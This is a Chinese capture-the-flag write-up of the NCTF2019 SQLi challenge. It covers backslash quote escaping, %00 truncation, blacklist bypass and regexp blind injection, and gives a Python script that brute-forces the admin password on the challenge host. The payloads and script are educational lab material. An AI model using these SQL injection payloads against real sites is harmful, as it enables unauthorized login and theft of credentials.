[NCTF2019]SQLi

发布于 2021-08-10  70 次阅读


知识要点:

  • 单引号闭合,可以使用\对其进行注释,进行逃逸
  • 在一些情况下,可以使用%00进行注释,原理:该符号不是MySQL的注释符,但PHP具有%00截断的漏洞,有些函数会把%00当做结束符,也就起到了注释掉后面代码的作用。
  • regexp正则注入
    • MySQL中支持regexp进行正则表达式匹配
    • 条件:要知道列名,也就是只能查询select语句中给定的表
    • 缺点:不能够跨表查询,只能在where子句中使用逻辑运算符
    • 优点:当查询当前表时,使用bool盲注,只需要引号^
    • 使用:和之前做过的无列名注入按位比较很类似,核心就是使用正则按位比较。

解题过程:

1.题目给了登录框,直接给了这里的SQL语句,字符型注入
sqlquery : select * from users where username='' and passwd=''
2.fuzz 过滤了很多关键字
3.进一步信息收集,发现存在robots.txt,并且指向hint.txt,获得如下信息
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,
Then you will get the flag;
4.因此思路就是绕过正则,注入得到passwd密码

由上面知识点知,单引号可以使用 \,进行逃逸:

select * from users where username='\' and passwd=''

这样的话' and passwd=' 都变成了username的值

因为sql的很多注释符都被过滤,可以借助php函数漏洞 %00达到注释目的

select * from users where username='\' and passwd='xxx%00'

此时我们可以在XXX处进行注入

根据正则过滤的空格使用注释代替,and使用||代替,使用正则猜解字段信息,这里y是任意字符。

select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^y";%00'
image-20210810192658048

在我们使用burpsuite进行发包的时候,我们能够发现两点问题:

  1. %00经过URL编码之后会变成%2500,传给后端变成%00会被黑名单拦截,这里需要直接将他修改为%00 经过后端URL解码之后,编程不可见字符绕过,黑名单
  2. 当匹配到正确的字符时页面会给我们做一个302 重定向到 welcome.php

编写python脚本

from urllib import parse

import requests
import time


url = "http://7a84bd0f-c81e-4513-826d-404cc9cc0e2a.node4.buuoj.cn:81/index.php"
string1 = "qwertyuioplkjhgfdsazxcvbnm1234567890{}_"
passwd = ""

for i in range(1,300):
   time.sleep(2)
   for j in string1:
       payload = "||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+j), parse.unquote('%00'))
       data = {
           'username' : "\\",
           'passwd' : payload
      }
       res = requests.post(url, data)

       if "welcome" in res.text:
           passwd += j
           break
       print(passwd)

在解决burpsuit中遇到的%00转义的问题,我们需要对 %00做特殊处理,让他只经过URL解码,而不进行url编码。可以使用parse.unquote('%00'),来解决这一问题。

总结反思:

  1. 第一次接触regexp注入强化理解,记忆
  2. fuzz总是做不明白,一定要把fuzz字典,用起来
  3. URL编码,总是在这上面犯错误,一定要强化流程

参考文章:

https://www.cnblogs.com/zhwyyswdg/p/14036395.html